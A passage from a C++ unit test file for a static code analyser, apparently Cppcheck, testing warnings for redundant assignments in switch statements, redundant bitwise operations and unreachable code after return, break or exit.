[test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" 